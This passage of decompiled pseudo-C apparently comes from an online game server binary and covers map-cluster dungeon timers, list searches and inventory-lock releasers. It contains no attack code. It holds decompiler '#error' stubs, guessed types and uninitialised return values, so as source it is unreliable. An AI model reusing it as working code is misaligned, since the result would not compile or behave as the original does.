!ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::MapCluster::mc_Routine : Packet Too Long", 7); *(_BYTE *)(v7 - 8) = 0; *(_BYTE *)(v7 - 7) = 0; goto LABEL_15; } v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v11); } *(_BYTE *)(v7 - 8) = 0; *(_BYTE *)(v7 - 7) = 0; LABEL_15: if ( !*(_BYTE *)(v7 - 7) ) goto LABEL_21; goto LABEL_16; } if ( v9 ) goto LABEL_15; if ( !*(_BYTE *)(v7 - 7) ) { v12 = clockwatch.cw_CurrTick + 200; *(_DWORD *)(v7 + 8) = 200; *(_DWORD *)(v7 + 4) = v12; *(_BYTE *)(v7 - 7) = 1; goto LABEL_15; } LABEL_16: v13 = *(_DWORD *)(v7 + 4); if ( clockwatch.cw_CurrTick > v13 ) { *(_DWORD *)(v7 + 4) = v13 + *(_DWORD *)(v7 + 8); if ( *(_BYTE *)(v7 - 8) ) goto LABEL_22; *(_BYTE *)(v7 - 8) = 1; v14 = clockwatch.cw_CurrTick; *(_DWORD *)v7 = 3000; *(_DWORD *)(v7 - 4) = v14 + 3000; v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23551; v15[2] = v3->mc_Category; *(_DWORD *)(v15 + 3) = *(_DWORD *)(v7 - 12); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, "MapClusterManager::MapCluster::mc_Routine : Packet Too Long", 7); } } LABEL_21: if ( *(_BYTE *)(v7 - 8) ) { LABEL_22: v17 = *(_DWORD *)(v7 - 4); if ( clockwatch.cw_CurrTick > v17 ) { *(_DWORD *)(v7 - 4) = v17 + *(_DWORD *)v7; MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(v3, v6); } } if ( *(_BYTE *)(v7 + 12) ) { v18 = *(_DWORD *)(v7 + 16); if ( clockwatch.cw_CurrTick > v18 ) { *(_DWORD *)(v7 + 16) = v18 + *(_DWORD *)(v7 + 20); MapClusterManager::MapCluster::mc_MissoionFailInstance(v3, *(#585 **)(v7 - 16)); } } if ( *(_BYTE *)(v7 + 24) ) { v19 = *(_DWORD *)(v7 + 28); if ( clockwatch.cw_CurrTick > v19 ) { *(_DWORD *)(v7 + 28) = v19 + *(_DWORD *)(v7 + 32); MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(v3, v6); } } if ( *(_BYTE *)(v7 + 36) ) { v20 = *(_DWORD *)(v7 + 40); if ( clockwatch.cw_CurrTick > v20 ) { *(_DWORD *)(v7 + 40) = v20 + *(_DWORD *)(v7 + 44); v21 = ShineScript::ss_String(&shinescriptetc, "LimitTimeMessageFirst"); if ( v21 ) { AxialListWall::AxialListWall(&alw, v21); v22 = *(void **)(v7 - 16); LOBYTE(v34) = 1; v23 = FieldMap::fm_GetCenterObject(v22); ShineObjectClass::ShineObject::so_AllInMap((void *)v23, v30, v31); LOBYTE(v34) = 0; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alw); } else { AssertClass::ac_AssertFail(&shineassert, "Not Found ETC : LimitTimeMessageFirst", 0); } } if ( *(_BYTE *)(v7 + 36) ) { v24 = *(_DWORD *)(v7 + 48); if ( clockwatch.cw_CurrTick > v24 ) { *(_DWORD *)(v7 + 48) = v24 + *(_DWORD *)(v7 + 52); v25 = ShineScript::ss_String(&shinescriptetc, "LimitTimeMessageSecond"); if ( v25 ) { AxialListWall::AxialListWall(&thisa, v25); v26 = *(void **)(v7 - 16); LOBYTE(v34) = 2; v27 = FieldMap::fm_GetCenterObject(v26); ShineObjectClass::ShineObject::so_AllInMap((void *)v27, v30, v31); LOBYTE(v34) = 0; AxialListWall::_AxialListWall((AxialListMobKillLog *)&thisa); } else { AssertClass::ac_AssertFail(&shineassert, "Not Found ETC : LimitTimeMessageSecond", 0); } } } } LABEL_40: ++v6; v7 += 72; } while ( v6 < v3->mc_MapNumber ); v4 = -1; LABEL_42: v29 = "MapClusterManager::MapCluster::mc_Routine"; LABEL_43: --funcallanalizer.fca_stackpoint; v34 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v29); return 1; } //----- (00464480) -------------------------------------------------------- MapClusterManager::MapCluster *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(MapClusterManager::MapCluster *, List *, unsigned __int16, MapClusterManager::MapCluster *), unsigned __int16 *hnd, MapClusterManager::MapCluster *key) { MapClusterManager::MapCluster *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (004644F0) -------------------------------------------------------- char __thiscall DeleteInstanceDungeon::lid_Call(DeleteInstanceDungeon *this, MapClusterManager::MapCluster *ele, unsigned __int16 handle) { if ( ele->mc_Category == this->_Category ) MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(ele, this->_RegisterNumber); return 1; } //----- (00464510) -------------------------------------------------------- #585 *__thiscall MapClusterManager::ClusterManager::cm_FindEmptyByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 MapClusterManager::MapCluster *v6; // eax@1 #585 *result; // eax@4 __int16 hnd; // [sp+0h] [bp-9030h]@1 FunctionEntarance _; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster key; // [sp+8h] [bp-9028h]@1 unsigned int v11; // [sp+9020h] [bp-10h]@4 int v12; // [sp+9024h] [bp-Ch]@1 _EXCEPTION_DISPOSITION (__cdecl *v13)(EHExceptionRecord *, EHRegistrationNode *, void *, void *); // [sp+9028h] [bp-8h]@1 int v14; // [sp+902Ch] [bp-4h]@1 v13 = _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z; v12 = v3; v4 = alloca(36900); v5 = (List *)this; _.fe_FunctionCode = "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; MapClusterManager::MapCluster::MapCluster(&key, (char *)clientmapname, CATEGORY_CLASSIC); LOBYTE(v14) = 1; v6 = List::l_Search( v5, MapClusterManager::MapCluster::mc_CompName, (unsigned __int16 *)&hnd, &key); if ( v6 ) { MapClusterManager::MapCluster::mc_FindEmptyByRegnum(v6, RegisterNumber); LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); } else { LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindEmptyByRegnum"); } __security_check_cookie(v11); return result; } //----- (00464660) -------------------------------------------------------- #585 *__thiscall MapClusterManager::ClusterManager::cm_FindExistByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber) { int v3; // eax@0 void *v4; // esp@1 List *v5; // esi@1 MapClusterManager::MapCluster *v6; // eax@1 #585 *result; // eax@4 __int16 hnd; // [sp+0h] [bp-9030h]@1 FunctionEntarance _; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster key; // [sp+8h] [bp-9028h]@1 unsigned int v11; // [sp+9020h] [bp-10h]@4 int v12; // [sp+9024h] [bp-Ch]@1 _EXCEPTION_DISPOSITION (__cdecl *v13)(EHExceptionRecord *, EHRegistrationNode *, void *, void *); // [sp+9028h] [bp-8h]@1 int v14; // [sp+902Ch] [bp-4h]@1 v13 = _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z; v12 = v3; v4 = alloca(36900); v5 = (List *)this; _.fe_FunctionCode = "MapClusterManager::ClusterManager::cm_FindExistByRegnum"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindExistByRegnum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; MapClusterManager::MapCluster::MapCluster(&key, (char *)clientmapname, CATEGORY_CLASSIC); LOBYTE(v14) = 1; v6 = List::l_Search( v5, MapClusterManager::MapCluster::mc_CompName, (unsigned __int16 *)&hnd, &key); if ( v6 ) { MapClusterManager::MapCluster::mc_FindExistByRegnum(v6, RegisterNumber); LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); } else { LOBYTE(v14) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindExistByRegnum"); } __security_check_cookie(v11); return result; } //----- (004647B0) -------------------------------------------------------- MapClusterManager::MapCluster *__thiscall MapClusterManager::ClusterManager::cm_FindMapCluster(MapClusterManager::ClusterManager *this, const char *clientmapname) { int v2; // eax@0 void *v3; // esp@1 List *v4; // esi@1 MapClusterManager::MapCluster *result; // eax@1 __int16 hnd; // [sp+0h] [bp-9030h]@1 FunctionEntarance _; // [sp+4h] [bp-902Ch]@1 MapClusterManager::MapCluster key; // [sp+8h] [bp-9028h]@1 unsigned int v9; // [sp+9020h] [bp-10h]@1 int v10; // [sp+9024h] [bp-Ch]@1 _EXCEPTION_DISPOSITION (__cdecl *v11)(EHExceptionRecord *, EHRegistrationNode *, void *, void *); // [sp+9028h] [bp-8h]@1 int v12; // [sp+902Ch] [bp-4h]@1 v11 = _ehhandler__cm_FindMapCluster_ClusterManager_MapClusterManager__QAEPAVMapCluster_2_PBD_Z; v10 = v2; v3 = alloca(36900); v4 = (List *)this; _.fe_FunctionCode = "MapClusterManager::ClusterManager::cm_FindMapCluster"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindMapCluster"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MapClusterManager::ClusterManager::cm_FindMapCluster"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; MapClusterManager::MapCluster::MapCluster(&key, (char *)clientmapname, CATEGORY_CLASSIC); LOBYTE(v12) = 1; List::l_Search( v4, MapClusterManager::MapCluster::mc_CompName, (unsigned __int16 *)&hnd, &key); LOBYTE(v12) = 0; MapClusterManager::MapCluster::_MapCluster(&key); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MapClusterManager::ClusterManager::cm_FindMapCluster"); __security_check_cookie(v9); return result; } //----- (004648C0) -------------------------------------------------------- #error "4648C0: undefined or illegal type '#325' (funcsize=111)" //----- (00464A30) -------------------------------------------------------- #error "464A30: undefined or illegal type '#325' (funcsize=248)" //----- (00464D90) -------------------------------------------------------- UseEffect::UIE_Functions *__thiscall UseEffect::UsedItemEffect::operator__(UseEffect::UsedItemEffect *this, unsigned __int16 itm) { UseEffect::UIE_Functions *result; // eax@2 if ( itm < this->uie_MaxItemID ) result = &this->uie_FuncStruct[itm]; else result = this->uie_FuncStruct; return result; } //----- (00464DC0) -------------------------------------------------------- int __thiscall HuntLog::MobHuntElement::mhe_Compare(ItemLotAnalyser::LotChanger *this, List *lst, unsigned __int16 hnd, ItemLotAnalyser::LotChanger *key) { return this->item - key->item; } //----- (00464DD0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(InventoryLocking::InvenCellReleaser_CenChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CenChange::_vftable_; } // 5B3534: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CenChange___vftable_)(int, int lc, char inchest); //----- (00464DE0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_LinkInfo *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser::_vftable_; } // 5B3524: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser___vftable_)(int, int lc, char inchest); //----- (00464DF0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(InventoryLocking::InvenCellReleaser_FameChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FameChange::_vftable_; } // 5B3544: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_FameChange___vftable_)(int, int lc, char inchest); //----- (00464E00) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(InventoryLocking::InvenCellReleaser_CellClear *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellClear::_vftable_; } // 5B3554: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellClear___vftable_)(int, int lc, char inchest); //----- (00464E10) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(InventoryLocking::InvenCellReleaser_CellChange *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellChange::_vftable_; } // 5B3564: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellChange___vftable_)(int, int lc, char inchest); //----- (00464E20) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(InventoryLocking::InvenCellReleaser_CellChangeSmall *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_CellChangeSmall::_vftable_; } // 5B3574: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_CellChangeSmall___vftable_)(int, int lc, char inchest); //----- (00464E30) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(InventoryLocking::InvenCellReleaser_GuildStorageClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildStorageClear::_vftable_; } // 5B3584: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_GuildStorageClear___vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #325 *, int lc, int nBeforeItemID); //----- (00464E40) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(InventoryLocking::InvenCellReleaser_GuildStorageChange *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildStorageChange::_vftable_; } // 5B3594: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_GuildStorageChange___vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #325 *, int lc, int nType); //----- (00464E50) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::_vftable_; } // 5B35A4: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageRelocClear___vftable_)(int, int lc, char inchest); //----- (00464E60) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc::_vftable_; } // 5B35B4: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageReloc___vftable_)(int, int lc, char inchest); //----- (00464E70) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this) { this->baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::_vftable_; } // 5B35C4: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng___vftable_)(int flag, int lc, char inchest); //----- (00464E80) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(InventoryLocking::InvenCellReleaser_FurnitureReloc *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FurnitureReloc::_vftable_; } // 5B35D4: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_FurnitureReloc___vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #325 *, int lc, int inchest); //----- (00464E90) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_FurnitureCellClear::_vftable_; } // 5B35E4: using guessed type int (__thiscall *InventoryLocking__InvenCellReleaser_FurnitureCellClear___vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #325 *, int lc, int inchest); //----- (00464EA0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(InventoryLocking::InvenCellReleaser_EquipLocation *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_EquipLocation::_vftable_; } // 5B35F4: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_EquipLocation___vftable_)(int, int lc, char inchest); //----- (00464EB0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_ItemUse *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_ItemUse::_vftable_; } // 5B3604: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_ItemUse___vftable_)(int, int lc, char inchest); //----- (00464EC0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(InventoryLocking::InvenCellReleaser_PointStone *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_PointStone::_vftable_; } // 5B3614: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_PointStone___vftable_)(int, int lc, char inchest); //----- (00464ED0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(InventoryLocking::InvenCellReleaser_QuestReward *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_QuestReward::_vftable_; } // 5B3624: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_QuestReward___vftable_)(int, int lc, char inchest); //----- (00464EE0) -------------------------------------------------------- #error "464EE0: undefined or illegal type '#325' (funcsize=7)" //----- (00464F00) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::InventoryCellLock(InventoryLocking::InventoryCellLock *this) { this->vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLock::_vftable_; } // 5B3638: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_)(int ele, __int16 handle); //----- (00464F10) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::_InventoryCellLock(InventoryLocking::InventoryCellLock *this) { this->vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLock::_vftable_; } // 5B3638: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_)(int ele, __int16 handle); //----- (00464F20) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItemSimple(InventoryLocking::InventoryCellLockList *this, ItemBoxIterator *pBoxIterraotr) { ItemBoxIterator *v2; // edi@1 InventoryLocking::InventoryCellLockList *v3; // esi@1 unsigned __int8 v4; // al@2 unsigned __int16 v5; // bx@2 InventoryLocking::InventoryCellLockVtbl *v6; // ebp@2 ItemInventoryCell *v7; // eax@2 v2 = pBoxIterraotr; v3 = this; if ( pBoxIterraotr ) { v4 = ((int (*)(void))pBoxIterraotr->ibi_itembag->vfptr->ib_GetInvenType)(); v5 = v3->baseclass_0.icl_Index; v6 = v3->baseclass_0.vfptr; LOWORD(pBoxIterraotr) = v2->ibi_finger & 0x3FF | (v4 << 10); v7 = ItemBoxIterator::ibi_GetCell(v2); v6->icl_ClearItem( (InventoryLocking::InventoryCellLock *)v3, v5, v7, (ITEM_INVEN *)&pBoxIterraotr, (ITEM_INVEN *)&pBoxIterraotr); } } //----- (00464F80) -------------------------------------------------------- #error "464F80: undefined or illegal type '#434' (funcsize=3)" //----- (00464F90) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(InventoryLocking::InvenCellReleaser_LinkInfo *this) { this->baseclass_0.baseclass_0.vfptr = (InventoryLocking::InvenCellReleaserVtbl *)&InventoryLocking::InvenCellReleaser_LinkInfo::_vftable_; } // 5B3698: using guessed type int (__stdcall *InventoryLocking__InvenCellReleaser_LinkInfo___vftable_)(int, int lc, char inchest); //----- (00464FB0) -------------------------------------------------------- char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Home(InventoryLocking::UnlockedInventoryIterator *this) { InventoryLocking::UnlockedInventoryIterator *v1; // esi@1 ItemBoxIterator *v2; // edi@1 ItemBoxIteratorVtbl *v3; // eax@1 char result; // al@5 v1 = this; v2 = this->uii_Iterator; v3 = this->uii_Iterator->vfptr; this->uii_Iterator->ibi_finger = 0; if ( (unsigned __int8)v3->ibi_isvalid(v2) || ItemBoxIterator::ibi_Next(v2) ) { while ( (unsigned __int8)((int (__stdcall *)(_DWORD, _DWORD))v1->uii_LockList->vfptr->icl_IsLocked)( v1->uii_InvenType, v1->uii_Iterator->ibi_finger) ) { if ( !ItemBoxIterator::ibi_Next(v1->uii_Iterator) ) goto LABEL_5; } result = 1; } else { LABEL_5: result = 0; } return result; } //----- (00465000) -------------------------------------------------------- char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next(InventoryLocking::UnlockedInventoryIterator *this) { InventoryLocking::UnlockedInventoryIterator *v1; // esi@1 char result; // al@4 v1 = this; if ( ItemBoxIterator::ibi_Next(this->uii_Iterator) ) { while ( (unsigned __int8)((int (__stdcall *)(_DWORD, _DWORD))v1->uii_LockList->vfptr->icl_IsLocked)( v1->uii_InvenType, v1->uii_Iterator->ibi_finger) ) { if ( !ItemBoxIterator::ibi_Next(v1->uii_Iterator) ) goto LABEL_4; } result = 1; } else { LABEL_4: result = 0; } return result; } //----- (00465040) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, InventoryLocking::LockedCell *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy(v3, ele, 0xA0u); result = 1; } else { result = 0; } return result; } //----- (00465080) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, InventoryLocking::LockedCell *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xA0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004650D0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, InventoryLocking::LockedCell *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0xA0u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00465120) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ItemLotAnalyser::LotChanger *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { *(_DWORD *)v3 = *(_DWORD *)&ele->item; *(_DWORD *)(v3 + 4) = ele->delta; result = 1; } else { result = 0; } return result; } //----- (00465150) -------------------------------------------------------- void __thiscall List::_List(ItemLotAnalyser::LotAnalyser *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00465170) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser::icr_Apply(InventoryLocking::InvenCellReleaser *this, #325 *a2, InventoryLocking::LockedCell *lc, char inchest) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Apply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser::icr_Apply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Apply"); } //----- (004651C0) -------------------------------------------------------- #error "4651C0: undefined or illegal type '#325' (funcsize=66)" //----- (004652C0) -------------------------------------------------------- #error "4652C0: undefined or illegal type '#325' (funcsize=60)" //----- (004653B0) -------------------------------------------------------- #error "4653B0: undefined or illegal type '#325' (funcsize=37)" //----- (00465460) -------------------------------------------------------- #error "465460: undefined or illegal type '#325' (funcsize=66)" //----- (00465550) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply(InventoryLocking::InvenCellReleaser_ItemUse *this, #325 *a2, InventoryLocking::LockedCell *lc, char inchest) { __int16 v4; // cx@1 UseEffect::UIE_Functions *v5; // edx@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = lc->lc_Argument.cenchange.plusminus; if ( v4 < useditemeffect.uie_MaxItemID ) v5 = &useditemeffect.uie_FuncStruct[(unsigned __int16)v4]; else v5 = useditemeffect.uie_FuncStruct; (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD))(**(_DWORD **)&lc->gap20[96] + 12))(a2, &lc->lc_Argument, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply"); } //----- (00465620) -------------------------------------------------------- #error "465620: 